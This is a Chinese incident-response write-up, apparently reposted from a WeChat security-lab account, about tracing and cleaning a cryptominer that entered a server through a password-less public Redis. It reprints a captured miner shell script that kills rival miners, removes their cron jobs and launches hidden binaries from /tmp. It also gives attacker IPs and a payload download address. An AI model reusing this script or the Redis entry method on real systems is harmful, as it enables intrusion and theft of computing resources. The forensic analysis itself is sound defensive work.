ps:因为项目保密的原因部分的截图是自己在本地的环境复现。
1. 起因
客户打电话过来说,公司web服务异常卡顿。起初以为是web服务缓存过多导致,重启几次无果后觉得可能是受到了攻击。起初以为是ddos攻击,然后去查看web服务器管理面板时发现网络链接很少,但是cpu占用高达99%,于是便怀疑是中了挖矿病毒。
2.排查可疑进程
首先发现cpu占用率过高,初步怀疑是挖矿病毒。于是上ssh开始排查
使用top命令查看进程占用列表。发现并没有占用过高的程序,但是查询cpu占用率确实是99%。怀疑是隐藏了linux进程。
以为是做了进程隐藏,于是写了个python脚本遍历/proc目录。/proc目录是一个虚拟文件系统,用于提供有关系统内核和运行进程的信息。该目录中包含一系列以数字命名的子目录,每个子目录代表一个正在运行的进程。在这些子目录中,可以访问有关进程状态、内存使用情况、打开的文件列表等信息。
该脚本遍历proc目录,查询ps aux不显示的进程id,然后显示打印出来。
import
os
def
get_max_pid
():
pid_list
=
[
int
(
pid
)
for
pid
in
os
.
listdir
(
'/proc'
)
if
pid
.
isdigit
()]
return
str
(
max
(
pid_list
))
def
get_existing_process_ids
(
max_pid
):
process_ids
=
[]
for
pid
in
range
(
1
,
int
(
max_pid
)
+
1
):
if
os
.
path
.
exists
(
'/proc/'
+
str
(
pid
)):
process_ids
.
append
(
str
(
pid
))
return
process_ids
def
get_ps_aux_process_ids
():
process_ids
=
[]
output
=
os
.
popen
(
'ps aux'
).
read
()
lines
=
output
.
split
(
'n'
)
for
line
in
lines
[
1
:]:
if
line
.
strip
()
!=
''
:
pid
=
line
.
split
()[
1
]
process_ids
.
append
(
pid
)
return
process_ids
max_pid
=
get_max_pid
()
existing_process_ids
=
get_existing_process_ids
(
max_pid
)
ps_aux_process_ids
=
get_ps_aux_process_ids
()
for
pid
in
existing_process_ids
:
if
pid
not
in
ps_aux_process_ids
:
print
(
'Hidden PID {}'
.
format
(
pid
))
emmmm, 但是效果不是很理想,有一大部分进程都是僵尸进程。
然后一个一个排查后效果不佳,并无发现什么可疑进程。
3 排查网络链接
于是打算从网络链接中入手,使用netstat -antp进行排查。发现有进程在链接47.130.146.28这个ip地址,然后拿这个ip地址反查域名。
发现是绑定的log.softgoldinformation.com这个域名。
然后搜索这个域名,发现之前也有人排查过了。
然后发现其实还有其他ip 这里就不一一截图了。moneroocean,xmrig,kdevtmpfsi,mysqlserver等病毒基本上都有在链接。(服务器基本上已经中了n种病毒了。基本上与各种矿池都有链接。)
然后协商客户运维,设置只允许服务器访问国内ip地址,这一步主要是为了能通畅的链接ssh。因为挖矿病毒一般都是挖取xmr,xmr使用的基本上都是cpu,在挖矿进程链接不了矿池的情况下通常都不会产生cpu占用。果然禁止服务器出网后,cpu占用率就下来了。(也是为了防止服务器继续链接挖矿者的c2)
4 寻找漏洞
问过客户服务器有装什么软件,然后说是为了方便做web数据库的缓存,半个月之前装了redis。
使用ps aux|grep redis查看redis端口。
{width="5.768055555555556in" height="0.2604166666666667in"}
尝试空密码链接成功。基本确定入口点是redis。
5 补救措施
发现基本已经在跑着几个挖矿的病毒了。这里不确定能不能把后门排查完,只能和客户沟通说先排查一遍看看。(因为挖矿木马一般都会有后门,在清理挖矿程序后,后门会自动检查挖矿程序是否运行,如果不运行的话会重新下载一个挖矿程序然后再次运行。所以在完全清除挖矿程序后一段时间内,cpu占用率不飙升就可以说明清理成功。反之则说明挖矿病毒并未清理成功。)
首先查看一下定时任务。 发现并无异常。
cat /etc/crontab
然后查看tmp目录,发现有sh文件, 这里抽取一个sh来分析,基本上/tmp出现这种都可以确定服务器被挖矿了。同理的还有/var/tmp目录。
ls -la /tmp
随便打开一个配置文件就能发现,攻击者的矿池地址和钱包地址。这种情况基本把tmp目录全部清除即可。
下面是一个 solr的挖矿病毒脚本,这里只是kill掉了挖矿同行的进程和定时任务。
#!/bin/sh
export
PATH
=
$PATH
:/
bin
:/
usr
/
bin
:/
usr
/
local
/
bin
:/
usr
/
sbin
while
[
1
]
do
killall
/
tmp
/*
killall
/
var
/
tmp
/*
crontab
-
l
|
sed
'/195.3.146.118/d'
|
crontab
-
crontab
-
l
|
sed
'/cf.sh/d'
|
crontab
-
crontab
-
l
|
sed
'/xms/d'
|
crontab
-
crontab
-
l
|
sed
'/kwork.sh/d'
|
crontab
-
crontab
-
l
|
sed
'/cyberium/d'
|
crontab
-
crontab
-
l
|
sed
'/newdat/d'
|
crontab
-
rm
-
f
/
tmp
/*
ps aux
|
grep
-
v grep
|
grep
'javaupDates'
|
awk
'{print $2}'
|
xargs
-
I
%
kill
-
9
%
ps aux
|
grep
-
v grep
|
grep
'givemexyz'
|
awk
'{print $2}'
|
xargs
-
I
%
kill
-
9
%
ps aux
|
grep
-
v grep
|
grep
'dbused'
|
awk
'{print $2}'
|
xargs
-
I
%
kill
-
9
%
ps aux
|
grep
-
v grep
|
grep
'kdevtmpfsi'
|
awk
'{print $2}'
|
xargs
-
I
%
kill
-
9
%
ps aux
|
grep
-
v grep
|
grep
'kinsing'
|
awk
'{print $2}'
|
xargs
-
I
%
kill
-
9
%
ps aux
|
grep
-
v grep
|
grep
-
v
27.1
|
grep
-
v
222.122
|
grep
'wget'
|
awk
'{print $2}'
|
xargs
-
I
%
kill
-
9
%
ps aux
|
grep
-
v grep
|
grep
-
v
27.1
|
grep
-
v
222.122
|
grep
'curl'
|
awk
'{print $2}'
|
xargs
-
I
%
kill
-
9
%
ps aux
|
grep
-
v grep
|
grep
-
v
27.1
|
grep
-
v
222.122
|
grep
'urlopen'
|
awk
'{print $2}'
|
xargs
-
I
%
kill
-
9
%
pgrep
JavaUpdate
|
xargs
-
I
%
kill
-
9
%
pgrep kinsing
|
xargs
-
I
%
kill
-
9
%
pgrep donate
|
xargs
-
I
%
kill
-
9
%
pgrep kdevtmpfsi
|
xargs
-
I
%
kill
-
9
%
pgrep trace
|
xargs
-
I
%
kill
-
9
%
pgrep sysupdate
|
xargs
-
I
%
kill
-
9
%
pgrep mysqlserver
|
xargs
-
I
%
kill
-
9
%
ps aux
|
grep
-
v grep
|
grep
'trace'
|
awk
'{print $2}'
|
xargs
-
I
%
kill
-
9
%
pkill xmrig
pkill sysupdate
pkill sysguard
pkill kthreaddk
pkill networkservice
pkill kdevtmpfsi
pkill watchbog
p
=
$
(
ps auxf
|
grep solrd
|
awk
'{if($3>=60.0) print $2}'
)
name
=
""
$p
if
[
-
z
"
$name
"
]
then
pkill solrd
ps aux
|
grep
-
v grep
|
grep
-
v
'java|redis|weblogic|solr|mongod|mysql|oracle|tomcat|grep|postgres|confluence|awk|aux|sh'
|
awk
'{if($3>60.0) print $2}'
|
xargs
-
I
%
kill
-
9
%
nohup
/
tmp
/.
solr
/
solrd
&>>/
dev
/
null
&
sleep
30
nohup
/
tmp
/.
solr
/
genshin
&>>/
dev
/
null
&
sleep
30
else
:
fi
done
查看/etc/passwd 是否有恶意用户
cat /etc/passwd
查看ssh是否有后门用户 (因为是redis的洞 很有可能会写入sshkey)
ls -la /root/.ssh/
然后用clamscan扫描一遍
clamscan -r /
设置redis密码登录。(这一步是由客户人员配置)
然后删除tmp目录下的脚本文件
rm -rf /tmp/*.sh
6 脚本分析
这里抽取其中的一个sh脚本讲一下挖矿病毒逻辑,因为脚本较大,所以这里是抽取部分代码过一遍逻辑,实际上常见的挖矿病毒脚本基本都差不多是一个逻辑,所以这里抽取了一个。
首先脚本的逻辑是从kill掉其他挖矿同行进程开始
然后写了一个定时任务
然后判断目标系统位数,到[http://94.103.87.71/]{.underline}去下载病毒程序
这也就是最终的病毒文件
果不其然
最后是自动清理本身
总结
这次事故主要是因为开发人员不懂安全,直接开放redis数据库在公网并且不设置登录密码。虽然是内网服务器但是万幸做好了隔离。不然挖矿病毒肯定会在内网进行传播。
ps:听说客户之后去问了开发小哥,开发小哥说随便在网上找的教程,教程上是这样配置的就直接复制粘贴上去。所以建议大家在配置东西的时候尽量去查一下文档。
原文始发于微信公众号(合天网安实验室):记一次挖矿病毒的溯源
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论